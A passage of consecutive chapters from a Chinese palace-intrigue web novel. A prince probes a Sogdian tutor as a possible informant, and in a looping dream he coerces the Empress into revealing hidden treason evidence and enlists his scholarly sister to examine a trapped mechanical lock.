“哦?”周昕阳露出感兴趣的神色,“那在这些西域商队中,传递消息、辨别敌友,可有什么……约定俗成的暗语或记号?孤纯属好奇,觉得这等江湖智慧,颇有意思。”他问得轻描淡写,仿佛只是对西域风情的好奇。
这个问题,看似寻常,实则暗藏机锋。
既是打探西域情报网络的运作方式,也是试探阿月是否了解此类隐秘知识,更是借暗语一词,隐晦地触碰信息传递这个敏感话题。
阿月闻言,身体几不可察地微微一顿,虽然很快恢复自然,但周昕阳敏锐地捕捉到了这一丝细微的迟疑。她垂下眼睑,声音依旧平稳:“王爷说笑了。商队行走,靠的是信誉和契约,偶有些许内部约定的信号,也多是为了在集市上标识货物成色或议价,登不得大雅之堂,更谈不上辨别敌友这般严重。”
她回答得滴水不漏,既未否认暗语的存在,又将其轻描淡写地归结为商业行为,避开了敏感的**军事话题,显得十分谨慎。
周昕阳心中微动,阿月的反应,至少说明她并非完全不谙此道,而且应对得很小心。
这初步印证了她具备成为信息渠道的潜质。
“原来如此,是孤想岔了。”周昕阳从善如流,笑了笑,将话题拉回学习,“那便继续吧。方才学了数字,不如再学些日常用物之名?比如,丝绸、瓷器、茶叶……这些我中原输往西域的货物,用粟特语该怎么说?”
他将话题引向了贸易物品,这同样是一个可以大做文章的领域。
阿月一一作答,发音标准。
当说到丝绸时,周昕阳状似无意地追问了一句:“听闻西域王公贵族极爱江南之地的云锦,尤其是那种用金线混织、在光下流光溢彩的霞光锦,在粟特语中,可有专门的词指代?还是统称丝绸?”
霞光锦,并非他信口胡诌,而是江南织造局**皇室和重臣的极品,极少流往西域。
他故意提及此物,并强调其流光溢彩的特性,是在试探阿月是否对中原高端贡品有所了解,这能间接反映她所在商会的信息层级和触角深度。
同时,“光”这个词,在某些隐秘语境中,或可与“希望”、“信号”产生关联。
阿月这次沉默的时间稍长了一瞬,似乎在回忆或权衡,然后才谨慎地回答:“王爷见识广博。奴婢……奴婢似乎听商会里的老管事提起过此种名锦,确有其物,珍贵异常。在粟特语中,通常尊称其为‘日光织帛’,以示其华美。”
她不仅回答了问题,还透露了信息源,并给出了一个颇具意象的翻译日光织帛,这比简单说“不知道”或“统称丝绸”提供了更多信息。
周昕阳心中暗记,这或许是一个可以进一步挖掘的点。<
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br>沈砚的目光似乎在这一刻变得更加锐利,但他依旧没有说话,只是静静观察。
周昕阳见好就收,不再深究丝绸,又将话题转向瓷器、茶叶,问了些类似的问题,时而称赞西域商人的见识广博,时而感慨语言文化的差异,始终将对话维持在教学和好奇的框架内。
时间悄然流逝,一个时辰的时限将至。
周昕阳心知不能再拖延,必须进行最后一次,也是最冒险的一次试探。他需要在结束前,传递一个明确的、但外人无法察觉的信号。
他再次将话题引回最初的问候语,仿佛在复习。
“愿晨光赐您安宁……”周昕阳用略显生疏但大体准确的粟特语重复了开头的问候,然后顿了顿,目光看似随意地扫过阿月,用中原官话仿佛自言自语般低声感慨道:“晨光虽好,却不知京城的晨光,是否也如这江上一般清明?听闻近日京中多雨啊……”
这句话,看似是游子思乡的闲话,但重点落在“京城”和“多雨”上。
京城——直接点明了他关心的信息方向;
多雨——则可以是一个隐喻,暗示局势不明朗、压抑或有变。
这是他精心设计的一个模糊试探,即便被沈砚听去,也完全可以解释为感慨天气。
说完这句话,周昕阳不再看阿月,而是转头对沈砚道:“时辰快到了吧?今日便到此为止。阿月姑娘教得不错。”
阿月立刻躬身:“王爷谬赞,奴婢惶恐。”
自始至终,她都没有对周昕阳那句关于京城多雨的感慨做出任何明显的反应,依旧是那副恭顺模样。
周昕阳心中不免有些失望,但并未表露。他起身,对沈砚淡淡道:“沈大人,替孤赏阿月姑娘。送她下去休息吧,这些日子,就待在船上,教导孤粟特语。”
“是。”沈砚应道,随即示意一名宸察卫引领阿月去其他房间休息。
阿月再次向周昕阳行礼,然后低着头,跟着宸察卫默默离开前甲板,身影消失在通往中层舱室的廊道拐角。
周昕阳站在原地,目光看似随意地扫过波光粼粼的江面,任由江风吹拂衣袂。
沈砚静立在他身侧稍后的位置,如同一个沉默的影子。
第100章 分析
“回去吧。”片刻后,周昕阳收回目光,语气平淡地对沈砚说了一句,便转身向自己的舱室走去。他脸上看不出什么特别的情绪,仿佛刚才真的只是一场寻常的语言教学。
沈砚默不作声,挥手示意甲板上的宸察卫各归其位,自己则依旧保持着不远不近的距离,跟在周昕阳身后。
回到舱室内,周昕阳屏退了随后送茶点进来的小内侍,只留自己一人在房中。
舱门合上,隔绝了外面的光线与声响,只余下舷窗透入的、随着水波晃动的朦胧光晕,以及船体行进的微弱噪音。
他并没有立刻坐下,而是缓步走到舷窗边,负手而立,望着窗外不断向后掠去的江景,目光深邃,深不见底。
他脑海中,开始飞速回放刚才前甲板上与阿月接触的每一个细节。
首先是阿月的反应……从教学来说,她应对得体,发音标准,态度恭顺,符合一个训练有素的商会婢女形象。
其次就是对暗语的试探……当问及商队暗语时,她那瞬间的细微迟疑和谨慎的回答,表明她并非全然无知,且警惕性很高。
这是好事,说明她可能接触过这类事情;但也是坏事,说明她非常小心,不易突破。
紧接着就是霞光锦与日光织帛……这是今天最有价值的收获。
她不仅知道这种中原顶级贡品,还给出了一个颇具意象的粟特语译名,并提到了信息源——老管事。
这暗示她所在的萨迪克商会信息链路的层次不低,对中原高端物产有所了解。更重要的是,日光这个词,与他试探性抛出的光形成了潜在关联,虽然不能确定她是否有意呼应,但至少留下了可深入挖掘的线索。
最后就是……京城多雨。
这是他最大胆的试探,也是风险最高的。
阿月对此没有任何明显的、即时的反应,保持了完全的恭顺和沉默。
这有两种可能:一是她完全没听懂暗示,或者听懂了但不敢、不愿接话;二是她听懂了,但城府极深,在那种环境下选择不露声色。
周昕阳倾向于后者可能性稍大,因为从她之前应对暗语问题的谨慎来看,她不是个简单的婢女。
周昕阳思绪转动,将视角转回来,开始分析沈砚……
沈砚全程如同一个冰冷的旁观者,但周昕阳能感觉到那无处不在的审视目光。
尤其是当他问及暗语和霞光锦时,沈砚的注意力明显更加集中。
这提醒周昕阳,任何超常规的对话都会引起沈砚的警觉。今天的试探,必须到此为止,短期内不能再有更明显的举动。
“经过初步评估,阿月这条线,有潜力,但需要极其耐心的经营……”
“她不是可以轻易撬开的缺口,必须用更隐蔽、更长期的方式逐步建立联系和信任。直接传递敏感情报在目前条件下几乎不可能,首要目标是先确认她是否可用,以及如何用……”
周昕阳在心中构思起下一步计划。
“首先是巩固师生关系,接下来的日子,要持续、规律地进行语言教学……”
“内容要循序渐进,态度要认真专注,彻底坐实他好学的人设,尽可能麻痹沈砚……”
这是所有后续行动的基础。
周昕阳大脑飞速转动:“其次就是循序渐进,投石问路,在教学过程中,可以继续像今天这样,夹杂一些看似无心、实则有意的问题。”
“比如,可以更深入地探讨日光织帛这类名物的背景、流通渠道;可以借语言学习之名,询问更多关于西域风土人情、商路见闻、乃至各地奇人异事,或许能旁敲侧击到机关术相关的蛛丝马迹,每一次试探都要更自然,更隐蔽……”
“更为重要的是观察细节,要仔细观察阿月在教学之外的细微表现。”
对方被安置在船上,日常起居必然也在监视下,但总会有些许痕迹。
她与其他人的接触,哪怕只是送饭的内侍,她的情绪变化、甚至她衣饰的细微改变,都可能
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透露出信息。
最后就是耐心等待时机。
真正的突破可能需要外部的契机。
比如,船到泽口堰,与萨迪克商会主队汇合时,亦或者,抵达京城,局势发生某种变化时,他必须保持耐心,像猎人一样等待最佳时机。
“京城多雨……”周昕阳在心中又默念了一遍这四个字。这颗石子已经投出,能否激起涟漪,何时能激起涟漪,只能等待。他现在能做的,就是做好一切准备,确保当涟漪出现时,他能第一时间察觉并抓住。
他离开窗边,走到书案前坐下。
他没有写下任何文字,只是拿起一支干净的毛笔,在指尖轻轻转动,目光落在空白的纸面上,仿佛在勾勒无形的棋局。
阿月是一步暗棋,能否激活,尚是未知之数。他不能将全部希望寄托于此。
当前最紧要的,还是那个困扰他十年的核心谜团——第四把机关锁,以及与之相关的铁箱秘密。
梦境中与二姐的研究取得了突破性进展,他必须尽快在接下来的几次梦境中,取得实质性的突破。
“泽口堰……”周昕阳指尖的笔微微一顿。那里是水陆要冲,商旅云集,信息流通远胜于这封闭的船舱。或许,在那里能找到新的机会?
他轻轻放下笔,眼中闪过一丝决然。
前路漫漫,危机四伏,但他手中的棋子,似乎正在一颗颗地被点亮。
尽管每一步都如履薄冰,但破局的方向,已隐约可见。
接下来的航程,周昕阳需要更加谨慎,也更加耐心。这艘墨蛟号,既是囚笼,也正在成为他运筹帷幄的方寸之地。
而刚刚离开前甲板的阿月,或许就是打破这囚笼的第一道微光,尽管这光芒还如此微弱,且吉凶未卜。
周昕阳闭上眼,开始调整内息,将纷杂的思绪沉淀下去。
他需要保持最佳状态,以便应对今夜的梦境之行。
江流无声,船舱内一片静谧,唯有谋略在心,暗流涌动。
第101章 又一轮梦境
周昕阳闭上眼,开始调整内息,将纷杂的思绪沉淀下去。
他需要保持最佳状态,以便应对今夜的梦境之行。
江流无声,船舱内一片静谧,唯有谋略在心,暗流涌动。
然而,与阿月的接触,绝不能仅仅停留在试探和等待上。他必须将这次有限的窗口转化为实质性的进展。
脑海中,一个更具体、更具攻击性的计划雏形逐渐清晰。
周昕阳的核心策略很简单。
那就是将语言学习,打造成一个安全且可持续的沟通渠道。
既然沈砚允许了教学,他就要充分利用这个看似无害的平台,将教学常态化、深入化。
周昕阳要固定节奏,麻痹监视。
明日起,他不仅要继续学,还要表现出越来越浓厚的兴趣。
每日固定时辰,雷打不动地前往前甲板学习,内容从日常用语逐步扩展到西域风俗、地理、历史传说。
他要让沈砚和宸察卫习惯这种规律,将泽川王好学西域语言这件事,从异常行为,变为日常行为,从而逐渐降低他们的警惕性。
当监视变成例行公事,缝隙便可能产生……
思绪从现实的棋局缓缓抽离,周昕阳的心神开始向内收敛,如同夜行的猎手,将感官与意志聚焦于那片更为幽深、也更为关键的战场——梦境。
现实中的布局需要耐心和时机,而梦境,则是他能够主动出击、加速破局的唯一领域。
今夜入梦,他必须有所斩获。
首要目标,清晰而明确,验证并推进对第四把机关锁的破解。
上一次梦境中,借助二姐周灵薇的指点和对**残骸的细致研究,他对锁具内部结构的理解取得了突破性进展。
许多之前百思不得其解的联动关系已然豁然开朗。今夜,他要将这些理论认知,转化为实际的进展。
具体行动计划在他脑中迅速成型……
想着想着,一股困意涌上心头。
周昕阳清楚时间到了。
下一刻——
他的意思,进入一个奇妙的空间。
周遭是泼墨般浓稠的黑暗,万籁俱寂,仿佛置身于宇宙诞生前的混沌。
意识在虚幻与真实的边缘浮沉,恍惚间,他不再是他,而是化作了一只蝶翼流转着梦幻光晕的蝴蝶,正翩跹于无垠的虚空之中。
不知飞越了多漫长的时光,在那永恒沉寂的远方,蓦地亮起了一点光。
那光芒温柔地延展、流淌,最终化作一条浩瀚的河流,静静地横亘于星空深处,水面泛着淡淡的、宛如月华般的银辉。
……
“醒一醒!”
“王爷,你怎么了?”
一个熟悉的声音,在周昕阳的耳畔响起,他知道是冷千嶂在说话……
下一刻,周昕阳睁开眼睛,看向周围。
熟悉的偏殿。
熟悉的锁匠们。
以及熟悉的铁箱和交织着锁链的机关铜锁……
梦的进行时。
“王爷,你怎么了?”冷千嶂的声音,适时的响起。
周昕阳摇了摇头,将脑海中那混沌初开、化蝶巡河的诡异景象驱散,目光瞬间恢复了清明:“我没事。”
他深吸一口气,感受着偏殿内熟悉的压抑空气,以及那铁箱散发出的冰冷气息。很好,又回来了。这一次,他不能重蹈覆辙,必须更高效地利用时间!
“孤要立刻面见父皇,有要事禀报。”周昕阳转头对冷千嶂说道,语气斩钉截铁,不容置疑。
“嗯?”冷千嶂面具下的眉头微蹙,显然没料到周昕阳醒来第一件事竟是这个,“王爷,此时夜深,陛下怕是已经安寝……”
“安寝?”周昕阳嗤笑一声,眼眸锐利如刀,直刺冷千嶂,“东宫刚出了这么大的事,父皇能安寝?冷千户,你真当孤是三岁孩童,还是觉得孤是那待审的囚犯,连面圣的资格都没有了?”
他上前一步,气势逼人:“别忘了,是孤发现了太子的不轨,是孤稳住局面!若非孤,今夜这宫墙之内,早已血流成河!孤是功臣!此刻有关乎社稷安危的紧急军情需立刻禀明父皇,你敢阻拦?”
这一顶“功臣”和“紧急军情”的大帽子扣下来,冷千嶂顿时语塞。周昕阳所言非虚,今夜之事,泽川王的确首功,且态度强硬,若强行阻拦,反而落人口实。
“王爷言重了,属下岂敢。”冷千嶂微微躬身,“只是……需容属下先行通传。”
“可!”周昕阳负手而立,“但孤要与你同去养心殿外等候!若是父皇怪罪,孤一力承当!”他要杜绝任何被中途搪塞或拖延的可能。
冷千嶂见周昕阳心意已决,且理由充分,只得应下:“是,王爷请随属下来。”
事情的发展,与上一轮梦境惊人地相似。养心殿内,昭明帝果然未眠,听闻周昕阳有紧急情况,立刻宣见。
周昕阳步入殿中,依旧是那套说辞——声称自己深思熟虑后,愿为父皇分忧,彻查太子谋逆案,并顺势铲除盘踞朝堂、尾大不掉的长孙一族,以绝后患。
他言辞恳切,逻辑清晰,将铲除外戚与巩固皇权、安定社稷紧密联系在一起,俨然一位忠心为国、勇于任事的孝子贤王。
昭明帝的反应也与上次如出一辙,先是震惊于周昕阳的直白与
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大胆,继而便是长久的沉默与审视。
这位帝王在权衡,在算计。他当然知道长孙家的威胁,也乐见有人替他做这把刀,但他更警惕握刀的人。
最终,在周昕阳适时亮出“皇后可能知晓甚至参与太子私造龙袍玉玺”这张王牌后,昭明帝眼中闪过一丝决绝的寒光。或许是想到了铁箱之中可能窝藏巫蛊人偶,或许是对长孙家多年的积怨终于爆发,他不再犹豫。
“拟旨!”昭明帝声音沙哑却带着不容置疑的威严,“赐泽川王周昕阳钦差身份,全权负责太子谋逆一案之稽查审讯,并协理整顿长孙一族不法之事!一应事宜,可先斩后奏,不必另行请旨!宸察院及京兆尹以下各衙门,需全力配合,不得有误……”
“儿臣,领旨谢恩!定不负父皇重托!”周昕阳心中一定,大礼**。这把尚方宝剑,比预想中来得更顺利,权限也更广!
一切一如往昔。
周昕阳退出养心殿,“如朕亲临”金牌在手,眼神锐利。
他没有丝毫耽搁,立刻对迎上来的冷千嶂下达一连串命令,雷厉风行:
“冷千户,立刻做三件事!”
“第一,持我令牌,秘密调一队绝对可靠的宸察卫,即刻起暗中监控长孙府所有出入口,尤其是角门、后巷,许进不许出!但有异动,立刻拿下,但有强行外出者,格杀勿论!”
“第二,派人盯住所有与长孙家往来密切的朝臣府邸,尤其是掌握京畿防务的那几位!看看谁在这个节骨眼上还敢去串门!”
“第三,也是最重要的一点,”周昕阳压低了声音,眼中寒光一闪,“立刻去宸察院档房,将近年来所有涉及长孙家及其门生故吏的贪腐、结党、枉法、特别是与军中将领过从甚密的卷宗,全部调出来,密封送至本王处!要快!”
他要抢时间,打一个措手不及!在长孙家及其党羽还没反应过来之前,就先切断其内外联系,并掌握足以将其钉死的罪证!
“是!属下遵命!”冷千嶂心头凛然,这位王爷不出手则已,一出手便是雷霆万钧,直指要害!他不敢怠慢,立刻领命而去。
周昕阳则转身,再次走向皇后的熾璋宮。
他要利用这突如其来的权势和父皇默许的势,对皇后进行最后一次,也是最致命的拷问!不仅要坐实太子之罪,更要撬开皇后的嘴,拿到指向长孙家核心罪证的线索!
夜幕低垂,宫灯摇曳,一场针对后宫与外戚的凌厉风暴,随着周昕阳坚定的步伐,正式拉开序幕。
时间紧迫,这一轮梦境,他要尽可能的收集到更多有利的情报。
第102章 击溃皇后的心理防线
周昕阳则转身,再次走向皇后的熾璋宮。
但这一次,他的脚步更快,眼神更冷,心中已然有了全新的盘算。
与前两次循环中或虚与委蛇、或步步为营的试探不同,这一次,他手持如朕亲临的金牌,拥有父皇默许的势,时间更为充裕,目标也更为明确——不仅要快速拿到太子的罪证,攻破皇后的心理防线,更要趁机探听那把诡异机关锁的来历!
这关乎他破局的核心。
来到熾璋宫外,守卫的宸察卫见到金牌,不敢有丝毫阻拦,无声地让开道路。
周昕阳径直推开殿门,迈入其中。
殿内烛火通明,长孙皇后端坐主位,虽强作镇定,但眉宇间难掩惊惶与疲惫,显然正因太子之事忧惧交加。见到周昕阳深夜持金牌闯入,她脸上瞬间血色尽褪,眼中闪过一丝难以置信的惊骇与强烈的戒备。
对她而言,这是泽川王周昕阳第一次以这种方式、在这个时间点出现在她的寝宫!
殊不知,这已经是周昕阳第三次在这个时间点上进来了。
“周昕阳!”皇后猛地站起身,声音因惊怒而微微尖锐,带着一丝被冒犯的厉色,“你……大胆!!泽川王,你夜闯本宫寝殿,意欲何为?!谁给你的胆子?!”她完全不明白,这个平日里并不起眼的九皇子,为何会突然如此强势地出现在这里?
周昕阳根本不屑与她做无谓的口舌之争,也无需再铺垫。他大步走到殿中央,停下脚步,目光如冰刃般直视皇后,直接亮出手中金牌,声音冰冷,没有任何废话,带着一股凭借金牌而来的、碾压式的威压:
“皇后娘娘,陛下密旨,彻查太子谋逆一案所有关联证物。本王没时间与你虚耗。”
他开门见山,语速快而压迫感十足:“假玉玺、赭黄袍,藏于何处?说!”
这番话,配合着那枚代表至高皇权的金牌,以及周昕阳身上那股与平日截然不同的、不容置疑的气势,形成一股排山倒海般的心理压力,让毫无准备的皇后瞬间心神俱震。
长孙皇后看到金牌,瞳孔骤然缩成针尖,身体不受控制地晃了一下。
她完全没料到周昕阳会手持圣物,以如此直接、如此凶悍的方式逼问。
她张了张嘴,想斥责其无礼,想以皇后的威仪呵退他,但在那金牌刺眼的光芒和周昕阳冰冷目光的注视下,所有的话语都显得苍白无力。
周昕阳不给她任何喘息和思考对策的机会,步步紧逼,语气森寒如铁:“娘娘是聪明人,当知‘如朕亲临’四字的分量。陛下既已授我全权,便已不再顾念旧情。”
“此刻坦白,或可为你长孙一族留下一线血脉;若再负隅顽抗,待本王下令将这皇宫内外翻个底朝天,将东西搜检出来……那便是满门抄斩,祸及九族之祸!”
他刻意顿了顿,让“满门抄斩”、“祸及九族”这几个字在寂静的殿中如同丧钟般回荡,然后才缓缓补充,声音不高,却字字诛心:
“太子殿下,或许还能因‘年少无知’、‘被奸人蒙蔽’而留得一命,在圈禁中了此残生。而你们长孙家……将寸草不留,从此绝于史册!”
这番话,精准地击中了皇后最大的软肋——家族存续。尤其是周昕阳提到了“被奸人蒙蔽”,隐隐将责任引向长孙家,更是让她心神剧震。
由于是第一次面对如此直接的威胁,她完全没有心理准备和组织语言的时间。
“你……你血口喷人!放肆!”皇后声音尖利,却透着力竭的虚浮和一丝慌乱。
“血口喷人?”周昕阳冷笑一声,终于抛出了精心准备的、从上次循环中得知的关键信息,进行最后一击,“需要本王提醒娘娘吗?大慈恩寺,大雄宝殿,三世佛左侧配殿,那尊由您捐资供奉的……纯金不动明王佛像!”
听到“大慈恩寺”和“纯金不动明王佛像”这几个字,皇后的脸色瞬间惨白如纸,如同见了鬼一般,眼中充满了极致的恐惧和难以置信!
这个她自以为天衣无缝的秘密,周昕阳怎么可能知道?!
她身体控制不住地剧烈颤抖起来,最后一道心理防线被这突如其来的、精准无比的打击彻底摧毁。
“你……你怎么会知道……不……不可能……”她失神地喃喃自语,整个人瘫软在凤座上,绝望地闭上了眼睛,泪水无声滑落。
在绝对的力量和无法理解的全知面前,她失去了所有反抗的意志。“在……在佛像腹内暗格……玉玺……龙袍……都在那里……”
得到了确切的答案,周昕阳心中一定,第一个目标达成。但他并未立刻离开,而是话锋陡然一转,问出了一个让正处于崩溃状态的皇后完全意想不到的问题:
“太子东宫偏殿那铁箱上的机关锁,”周昕阳目光锐利如鹰,紧紧锁住皇后的表情,“是何人制作?从何得来?”
皇后猛地睁开哭红的双眼,眼中充满了茫然和错愕,似乎完全跟不上周昕阳跳跃的思维。“锁?什么锁?本宫……本宫不知……什么铁箱?本宫从未见过什么铁箱……”
她的反应是纯粹的第一反应,不似作伪,表明她确实
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对那把锁关注甚少,或者根本不知其深层意义。
周昕阳紧紧盯着她的眼睛,确认了她对锁具的陌生。他心念电转,立刻换了一种问法,语气带着深意:“那铁箱坚不可摧,锁具精妙绝伦,绝非寻常匠人所能为。太子身边,或是你长孙一族中,可有精通机关巧术、或是与墨家遗族有所往来之人?”
他直接抛出了“墨家遗族”这个关键线索。
果然,听到“墨家遗族”四个字,皇后浑浊的眼中闪过一丝极淡的、本能般的疑虑,但随即被更深的迷茫取代。对她而言,这只是个陌生的词藻。
她喃喃道:“墨家……什么遗族……本宫不知……或许……或许国舅早年结交广泛……或有所闻……至于那什么铁箱,本宫确实不知道……”
她的回答断断续续,信息模糊,但提到了“国舅”,这为周昕阳指明了一个新的调查方向!
虽然没能直接得到制锁者的信息,但这已是意外收获!周昕阳心中暗记。
目的已达到,他不再停留。他冷冷地扫了一眼瘫软如泥、仍沉浸在巨大震惊和恐惧中的皇后,对殿外喝道:“冷千户!”
守在外面的冷千嶂应声而入。
“皇后娘娘已供认证物所在。立刻派绝对可靠之人,秘密前往大慈恩寺所述位置起获证物!记住,要隐秘,不得惊动任何人!证物到手,立刻密封,送入宫中!”
“是!”冷千嶂凛然遵命,看向周昕阳的目光中敬畏更深。这位王爷的效率和高深莫测的手段,令他心惊。
周昕阳不再看皇后一眼,转身大步离去。整个过程,从进殿到逼问出结果,再到部署下一步行动,不过一刻钟的时间,充分利用了皇后毫无准备、首次遭遇强势逼问的心理弱势,效率极高!
夜色中,他握紧了手中的令牌,目光投向宫墙之外。
皇后的情报和关于机关锁的零星线索已然到手,下一个目标,就是利用节省下来的大量时间,去验证最关键的一环——二姐周灵薇的机关术学识,以及……那把他梦寐以求想要打开的锁!
这一次,他有了更充足的准备和更明确的目标。
“走,去皇家藏书馆!”周昕阳对迎上来的冷千嶂下令,语气不容置疑,“立刻!”
他要去见二姐。
不是偶遇,而是直接、明确地,去寻求她的帮助!
这一次,他要利用这宝贵的、争取到的时间,在锁还没有**的情况下,邀请她去亲眼看看那把完整的、危险的锁!
这或许,将是打破循环的关键!
第103章 才女二公主
周昕阳带着冷千嶂离开熾璋宫,脚步未停,直奔皇宫东南隅的皇家藏书馆而去。
深夜的宫道寂静无声,只有他们一行人的脚步声在青石板上回响。
周昕阳手握金牌,面色沉静,心中却在快速盘算着与二姐见面的说辞。
他知道,这次见面与以往的梦境不同——在二姐周灵薇的记忆中,这是第一次正式与他就机关锁之事深谈。
他必须找到一个既能引起二姐兴趣、又不暴露自己未卜先知的合理切入点。
“墨家遗族……”周昕阳低声重复着皇后提供的线索,眼神深邃。
很快,巍峨的皇家藏书馆映入眼帘。
深夜时分,馆内只余几盏长明灯,昏黄的光晕从窗棂透出,在夜色中显得格外静谧。
值夜的内侍见到周昕阳手持金牌深夜前来,虽感诧异,却不敢阻拦,慌忙打开馆门。
“你们在外候着。”周昕阳对冷千嶂及随行宸察卫吩咐道,独自迈入馆中。
踏入藏书馆,一股陈年书卷特有的墨香与淡淡霉味扑面而来。高耸的书架如同沉默的巨人,排列至穹顶,其上典籍浩如烟海。
几盏长明灯在远处摇曳,投下斑驳光影。
周昕阳目标明确,径直走向收藏工巧器械、百家杂学类典籍的区域。
他知道,二姐周灵薇若在馆中,多半在此处。
果然,当他绕过一排摆放前朝匠作笔记的书架时,看到了那个熟悉的身影。
二公主周灵薇一袭素雅宫装,未施粉黛,青丝简单绾起,正就着一盏琉璃灯,专注地翻阅着一卷摊开的古籍。昏黄灯光映照着她沉静的侧脸,眉宇间透着书卷浸润出的宁和与聪慧。
听到脚步声,周灵薇抬起头。见到周昕阳深夜前来,她眼中掠过一丝讶异,但很快恢复平静,合上书卷,起身微微一礼:“九弟?这么晚了,怎会来此?”她的目光落在周昕阳手中的金牌上,眉头几不可察地轻蹙了一下。
“二姐。”周昕阳拱手还礼,脸上适当地流露出凝重与急迫之色,“深夜打扰,实非得已。弟有要事,特来请教二姐。”
周灵薇打量着他,见他神色肃然,不似玩笑,便指了指旁边一处较为僻静的静室:“此处不是说话之地,随我来。”
两人进入静室,周灵薇掩上门,室内只余一盏琉璃灯,光线柔和。
“九弟手持金牌,深夜来此,所为何事?”周灵薇开门见山,声音平静,却带着探究。
周昕阳没有犹豫,将一些事情尽数讲了出来。
周灵薇看着深夜持金牌来访、神色凝重的周昕阳,听完他简略但关键的情况说明:奉旨查案,东宫发现带诡异机关锁的铁箱,疑似内藏巫蛊邪物,锁具精妙绝伦且极度危险……
她秀眉紧蹙。
“老九,你的意思是……”她放下手中的古籍,目光锐利地看着周昕阳,“想让我去亲眼看看那把锁?甚至……尝试开启它?”
“是。”周昕阳坦然迎上她的目光,语气恳切而沉重,“二姐,此锁关乎重大,背后可能牵扯前朝秘辛、巫蛊邪术,甚至动摇国本。”
“父皇震怒,命我彻查。但我与一众锁匠束手无策,那锁……结构之诡谲,闻所未闻。二姐你博览群书,尤精机关巧术,普天之下,若说还有人能窥破此锁玄机,非二姐莫属!”
他顿了顿,声音压低,带着一丝不易察觉的紧绷:“而且,据我观察……那锁内,恐藏有极其猛烈的**机关。一旦触发,后果不堪设想。我……不敢让寻常锁匠冒险。”
周灵薇瞳孔微缩。“**机关?”
她重复了一遍,脸色变得异常严肃,“你是说,那不仅是一把锁,更是一件……杀器?触之即爆?”
“极有可能。”周昕阳重重点头,将皇后透露的“墨家遗族”、“国舅或有所闻”等信息也一并告知,“设计此锁者,心思歹毒,绝非善类。二姐,我知道此请极为凶险,但……唯有二姐你的学识,或可寻得一线生机,揭开此锁秘密,避免无谓伤亡,更能顺藤摸瓜,揪出幕后黑手。”
他深深一揖:“弟,恳请二姐相助!此非为私利,实为社稷安稳!”
周灵薇沉默了。
她走到窗边,望着窗外沉沉的夜色,指尖无意识地划过窗棂。
静室内只剩下灯花偶尔爆开的细微噼啪声。
时间仿佛过了很久,又仿佛只是一瞬。
终于,她转过身,脸上已恢复了平时的沉静,但眼眸深处却燃起了一簇锐利而专注的火光,那是学者面对极致挑战时才会有的光芒。
“老九,”她缓缓开口,声音清晰而坚定,“你既知锁中藏有**,凶险万分,仍来请我,足见此锁关系之大,亦足见你之决心。我虽久居深宫,却也知社稷之重。”
她走回桌边,目光落在那卷摊开的、绘有古老机关图的典籍上:“墨家遗术……绝户之锁……内藏**……有趣,实在有趣。”她的嘴角,竟勾起一丝极淡的、近乎狂热的弧度。
“此等奇锁,千古难逢。若不亲见,实
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为平生憾事。”周灵薇看向周昕阳,目光灼灼,“我答应你。我会去东宫,亲眼看看那把锁。”
“二姐!”周昕阳心中一震,既有得偿所愿的激动,也有一丝隐隐的不安。他没想到二姐答应得如此……痛快,甚至带着一种近乎执拗的探究欲。
“但是,”周灵薇话锋一转,神色变得无比凝重,“你必须答应我几个条件。”
“二姐请讲!”
“第一,我只能观察、推演,绝不可在未明原理、未有万全把握前,触碰锁芯,更不可尝试强行开启。此事你必须听我的,一步错,便是玉石俱焚。”周灵薇的语气不容置疑。
“自然!一切以二姐安危和判断为准!”周昕阳立刻应道。
“第二,我需要最安静、最不受打扰的环境,除了你,不许任何闲杂人等在侧。观察时,需有足够的灯火,最好能将锁具周围照亮,纤毫毕现。我需绘制草图,详细记录。”
“没问题!我会清场,调集最亮的灯火!”
“第三,”周灵薇直视周昕阳的眼睛,“若我判断,此锁在现有条件下绝无安全开启的可能,你必须立刻放弃,并如实禀明父皇,另寻他法,绝不可逞强。你可能做到?”
周昕阳深吸一口气,迎上二姐审视的目光,郑重道:“弟,谨遵二姐之命!若事不可为,绝不强求!”
“好。”周灵薇点了点头,似乎下定了决心,“事不宜迟,我们现在就去。”
“现在?”周昕阳微微一怔,他本以为二姐至少需要准备一下。
“既然是内藏**的绝户锁,每多耽搁一刻,便多一分变数。”周灵薇已开始收拾桌案上的几本相关典籍和她的绘图工具,“况且,深夜人少,更便于观察。走吧。”
周昕阳不再多言,心中涌起一股复杂的情绪——对二姐胆识的钦佩,对即将揭开秘密的期待,以及……一丝对未知危险的凛然。
他手持金牌,与周灵薇一同离开藏书馆,在冷千嶂等人惊疑不定的目光中,再次朝着东宫偏殿疾行而去。
这一次,他的目标不再是炸开后残破的零件,而是那把完整的、森冷的、内藏毁灭力量的第四把机关锁。
而二姐周灵薇,将是他直面这终极谜题时,最强大、也最危险的“钥匙”。
夜色更深,东宫偏殿的灯火,再次被点亮。而这一次,站在那漆黑铁箱与诡异铜锁前的,除了周昕阳,还有了一位神情专注、目光如炬的女智者。
真正的挑战,现在才开始。
第104章 重返东宫
夜色已深,东宫偏殿内外却灯火通明,气氛凝重肃杀。
手持“如朕亲临”金牌的周昕阳一路畅通无阻,带着周灵薇直入核心区域。
沿途,宸察卫与内侍们见到深夜里泽川王竟领着二公主来此,皆面露惊疑,但在金牌的威压下,无人敢多问一句,纷纷垂首避让。
偏殿内,那巨大的漆黑铁箱依然矗立在原处,箱体表面流转着幽暗的光泽,其上那第四把交织着锁链的机关铜锁,在周围数盏琉璃灯的照射下,泛着冰冷而诡谲的光泽,锁身上繁复的纹路如同盘踞的毒蛇,静静蛰伏。
“便是此物?”周灵薇踏入殿内,目光瞬间便被那铁箱与锁具吸引,脚步不自觉地加快了几分。
她挥手示意身后跟随的几名宸察卫退至殿外,只留周昕阳与她自己,以及两名被她特意要求留下、负责举灯照明的心腹内侍。
“是,二姐,就是这把锁。”周昕阳沉声应道,目光同样紧锁在那把锁上。
这是他除了被炸死的那一次梦境之外,在锁具尚未被破坏的情况下,如此近距离、仔细地观察它。
完整形态下的机关锁,与**后的残骸截然不同,透着一种浑然一体、精密无瑕的压迫感,同时也散发着更浓烈的危险气息。
周灵薇屏息凝神,绕着铁箱缓缓踱步,从不同角度审视着那把锁。她没有贸然靠近,而是先站在数尺之外,仔细观察。琉璃灯的光线被她示意调整角度,从侧方、斜上方照射,以便更清晰地看清锁体结构的每一个细微凹凸与纹路走向。
